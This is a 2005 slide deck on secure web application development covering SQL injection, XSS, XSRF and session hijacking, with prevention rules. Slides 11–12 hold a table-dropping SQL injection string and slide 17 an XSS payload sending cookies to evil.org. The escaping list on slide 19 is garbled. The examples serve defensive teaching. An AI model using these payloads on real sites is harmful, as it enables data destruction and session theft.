1. 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional MLS

2. 29/9/2005Developing "Secure" Web Applications Common Myths of Database Security Corporate Firewall Corporate Firewall Office Firewall Office Firewall Updated Virus Defs Updated Virus Defs Tightly Secured Server Tightly Secured Server Obsessive SysAdmin Obsessive SysAdmin Something is STILL missing ! Impenetrable Database ? }

3. 39/9/2005Developing "Secure" Web Applications Do You Think You’re Safe ? w/o Application-level Security, a hacker could: Alter any data directly in your database Selectively delete or alter any listings Delete your entire listings database Harvest user’s login info from your site Do malicious things to your site’s users Lesson: We live in perilous times

4. 49/9/2005Developing "Secure" Web Applications Presentation Outline What Application Security is Why Application Security is hard Common Application Security Lingo The Application Security Golden Rule Preventing SQL Injection exploits Preventing XSS / XSRF exploits Preventing Session Hijacking exploits Conclusion

5. 59/9/2005Developing "Secure" Web Applications What Application Security is NOT It’s not a “secure portal” It’s not a product you can purchase It’s not something you can easily add as an afterthought It’s not a “black & white” measurement What Application Security IS It’s a mindset that developer’s keep It’s a set of rules for developers to follow It’s measured in “varying shades of grey”

6. 69/9/2005Developing "Secure" Web Applications Why Application Security is Hard Security requires strict development rules Good security takes time to implement Developers tend to be “Lazy Geniuses” Management wants software quickly and with minimal money & effort “We can always issue a security patch later if we find something wrong” “No one is REALLY going to hack us”

7. 79/9/2005Developing "Secure" Web Applications Application Security Lingo 1 SQL Injection - Inadvertently allowing a hacker to “inject” SQL queries into your database using YOUR OWN web forms. XSS – “Cross Site Scripting” Inadvertently allowing a hacker to “inject” JavaScript into your web pages using YOUR OWN web forms.

8. 89/9/2005Developing "Secure" Web Applications Application Security Lingo 2 XSRF – “Cross Site Request Forgery” Inadvertently allowing a hacker to “inject” dangerous HTML into your web pages using YOUR OWN web forms. Session HiJacking Inadvertently allowing a hacker to “capture” a session identifier from a logged in user of your site and hijack their server session variables.

9. 99/9/2005Developing "Secure" Web Applications SECURE Web Development Rules 1. Filter ALL Input 2. Escape ALL Output “A little paranoia goes a long way…”

10. 109/9/2005Developing "Secure" Web Applications SQL Injection Example 1: red green blue Form Backend SQL: insert into my_table values (‘FORM{color}’)

11. 119/9/2005Developing "Secure" Web Applications SQL Injection Example 2: The hacker then submits his new form with this text: red’); DROP TABLE my_table; -- A hacker then saves your form HTML to their computer and modifies it to read: Q: What just happened ?

12. 129/9/2005Developing "Secure" Web Applications SQL Injection Example 3: The backend SQL then becomes: insert into my_table values (‘red’); DROP TABLE my_table; --’) Hacker submitted the form with this text: red’); DROP TABLE my_table; -- Q: Q: what just happened ? A: A: my_table just went bye bye

13. 139/9/2005Developing "Secure" Web Applications FILTER ALL INPUT Identify source of your data Escape all “special” chars for your DB Assume submitted data will be bad For “text” input fields, check string length For numeric fields, check value ranges ALWAYS use a “White List” approach Employ a naming convention to identify “filtered” data from unfiltered data Lesson: This takes work to do it correctly Lesson: This takes work to do it correctly

14. 149/9/2005Developing "Secure" Web Applications Error Messages Error messages should come in 2 flavors: A user friendly error message that the user sees in the browser. A user friendly error message that the user sees in the browser. Technical details which are logged to the server – possibly containing SQL errors, etc. Technical details which are logged to the server – possibly containing SQL errors, etc. Users should NEVER see SQL statements or error messages which contain references to your database tables, etc.

15. 159/9/2005Developing "Secure" Web Applications White List Approach to Filtering // initialize array to hold filtered values CLEAN = new Array(); // Filter data coming in from HTML form switch(FORM{color}) { case ‘red’: case ‘green’: case ‘blue’: CLEAN{color} = FORM{color}; break; }

16. 169/9/2005Developing "Secure" Web Applications XSS Example 1: Form Backend SQL: insert into guests values (‘FORM{comments}’)

17. 179/9/2005Developing "Secure" Web Applications XSS Example 2: document.location = 'http://evil.org/steal_cookies?cookies=' + document.cookie; A hacker then posts his / her “comments” to your guest book: What happens the next time someone views this guestbook entry ?

18. 189/9/2005Developing "Secure" Web Applications “Cross Site Request Forgery” [ XSRF ] Example: Hi. I just _LOVE_ your site. What if a renowned author / hacker posted these “comments” ? Q: What happens the next time someone views this guestbook entry ? Q: What if they were just on amazon.com and are still logged in over there ? A: You’ve got to love amazon.com’s 1-click ordering…

19. 199/9/2005Developing "Secure" Web Applications ESCAPE ALL OUTPUT GOAL: Prevent XSS = “Cross Site Scripting” & XSRF = “Cross-Site Request Forgeries” Identify source of your data Always assume data contains HTML/JavaScript Translate ALL magic chars before displaying them to user’s browser Bare minimum 4 characters to escape: <→< >→> →" "→" &→&

20. 209/9/2005Developing "Secure" Web Applications Output Escaping Q & A Q: When should I escape output ? A: Whenever you are displaying a variable Q: When do I NOT have to escape the output ? A: If you have just SET the contents to a known value - i.e. an integer counter Lesson: It’s a good habit to form

21. 219/9/2005Developing "Secure" Web Applications Other XSS Safety Measures XSS and related exploits typically employ JavaScript to access “trusted” data such as browser cookies, session IDs, etc. You can LIMIT JavaScript access to cookie data in some browsers if you set the cookie with the “HttpOnly” flag. Use the ‘user-agent’ passed in from browser as an additional identifier. Store in server session, and if it ever changes, direct user back to login screen.

22. 229/9/2005Developing "Secure" Web Applications Preventing Session Hijacking Only store SESSION_ID in COOKIES – never pass it in POST or GET variables. Set COOKIES with “HttpOnly” flag. This prevents JavaScript access to cookies. Generate random text string as a hidden form variable on each form. Store text string in server session and compare upon form submission. If not a match, problem!

23. 239/9/2005Developing "Secure" Web Applications Credits PHP Security Consortium Library http://phpsec.org/library/ PHP Security Guide http://phpsec.org/projects/guide/